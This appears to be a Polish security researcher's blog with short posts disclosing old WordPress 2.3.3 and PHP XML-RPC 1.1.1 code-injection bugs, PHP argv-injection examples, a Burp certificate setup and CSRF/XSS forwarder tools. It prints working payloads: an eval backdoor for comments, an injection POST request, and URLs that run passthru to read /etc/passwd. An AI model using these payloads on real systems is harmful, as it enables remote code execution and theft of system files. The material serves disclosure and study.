Historia problemów z bezpieczeństwem Wordpressa mogłaby posłużyć za wzorcowy scenariusz szkolenia. Poza wieloma odsłonami klasycznych błędów XSS, SQL Injection czy Directory Traversal, pojawiają się tam wątki kryptografii, różnorodnego kodowania znaków, uwierzytelnienia i autoryzacji, filtrowania danych na zbyt wczesnym etapie, podatności na DoS, słabych haseł osób mających dostęp do produkcji…
Dorzucę do kompletu błąd, który dotąd pozostawał nieujawniony – dotyczy wersji 2.3.3 (2008) i starszych, z których dziś już nikt przy zdrowych zmysłach nie korzysta, oraz wymaga uprawnień unfiltered_html:
<style>{${eval($_GET[x])}}</style>
Powyższy kod wstawiony do komentarza stawał się permanentnym backdoorem, umożliwiającym wykonanie kodu PHP również przez nieuwierzytelnionego użytkownika. Ponieważ domyślnie uprawnienia unfiltered_html posiadają wyłącznie role “admin” oraz “editor”, lukę można wykorzystać w połączeniu z atakiem persistent XSS w tym samym komentarzu (taka luka, również nie opisana w changelogu Wordpressa, została zgłoszona przez Michała Sajdaka w wersji 2.3.1) – w takim przypadku przeglądarka administratora wyręcza nas przy umieszczeniu backdoora w dowolnym opublikowanym tekście.
Konkurs: pierwsza osoba, która wskaże błędną linię kodu Wordpressa pozwalającą na wykonanie kodu PHP powyższą metodą, otrzyma bliżej nieokreśloną nagrodę :)
Poniższe rozwiązanie jest nieaktualne.
$ /usr/lib/openssl/CA.pl -newca $ /usr/lib/openssl/CA.pl -newreq Common Name (eg, YOUR name) []:* $ /usr/lib/openssl/CA.pl -signreq $ /usr/lib/openssl/CA.pl -pkcs12 $ cp ./newcert.p12 /tools/burp/burp_wildcard.p12 $ cp ./demoCA/cacert.pem /tools/burp/browser_ca.pem
W Burpie dodajemy burp_wildcard.p12:
Burp->Proxy->Options->proxy listeners->edit->use a custom server SSL certificate->file /tools/burp/burp_wildcard.p12->password [twoje_haslo]->update
A w Firefoksie browser_ca.pem:
Firefox->Narzędzia->Opcje->Zaawansowane->Szyfrowanie->Wyświetl certyfikaty->Organy certyfikacji->Importuj->/tools/burp/browser_ca.pem->Zaufaj temu CA przy identyfikacji witryn internetowych

W 2005 roku James Bercegay opublikował informację o luce w PHP XML-RPC, o której wówczas było dość głośno (m.in. ze względu na ujawnienie exploita). Zaraz po wydaniu poprawionej wersji 1.1.1 pojawiła się kolejna publikacja, tym razem autorstwa Stefana Essera. Dokładnych szczegółów drugiego błędu o ile się nie mylę nigdy nie opublikowano – pamiętam że po zerknięciu na diffa między 1.1.1 a 1.2 szybko zrezygnowałem z próby odtworzenia. Po kilku latach trafiłem przypadkiem na tą wersję biblioteki, spróbowałem ponownie i oczywiście problem okazał się banalny…
POST /xmlrpc-1.1.1/server.php HTTP/1.1 Host: localhost Content-Length: 76 <param><value><name><name>.phpinfo()));exit;//</name></name></value></param>
Gotowy skrypt można znaleźć tutaj – po czterech latach raczej nikomu się nie przyda, ale zawsze można wstawić do skanera, tak dla formalności. Działa też na 1.1, więc może zastąpić wersję z Gulftechu.
Jeszcze jedna alternatywa dla korzystających z narzędzi typu XSS Post Forwarder, CSRF Proxy lub CSRF Redirector:
Od innych skryptów tego typu różni się pewnym stopniem anonimowości – parametry przekazywane są do skryptu we fragmentcie URL nie przesyłanym do serwera. Można swobodnie wykorzystywać go do demonstacji luk (nie tylko XSS/CSRF) wymagających żądania POST lub skopiować do tego celu na własny serwer (źródło). Niestety nie pozwala na wstrzyknięcie bajtu zerowego.
Tutaj z kolei można znaleźć klasyczną wersję (ciekawe są reakcje różnych przeglądarek na bajt zerowy w polu formularza):
Oba skrypty są z założenia podatne na XSS (podobnie jak te wymienione wyżej) i inne nadużycia – zapraszam do krytyki w komentarzach ;)
W Google Code Search można znaleźć sporo aplikacji i bibliotek PHP zawierających kod podobny do poniższych przykładów:
http://lukasz.pilorz.net/testy/argv/passthru.phps
<?php
passthru('echo '.$_SERVER['argv'][1]);
?>
http://lukasz.pilorz.net/testy/argv/eval.phps
<?php
eval('echo "'.$_SERVER['argv'][1].'";');
?>
Jeśli włączona jest dyrektywa register_argc_argv, a skrypt znajduje się w DocumentRoot, można go wykorzystać na przykład tak:
http://lukasz.pilorz.net/testy/argv/passthru.php?+|{cat,/etc/passwd}
http://lukasz.pilorz.net/testy/argv/eval.php?x={cat,/etc/passwd}&+{${passthru($_GET[x])}}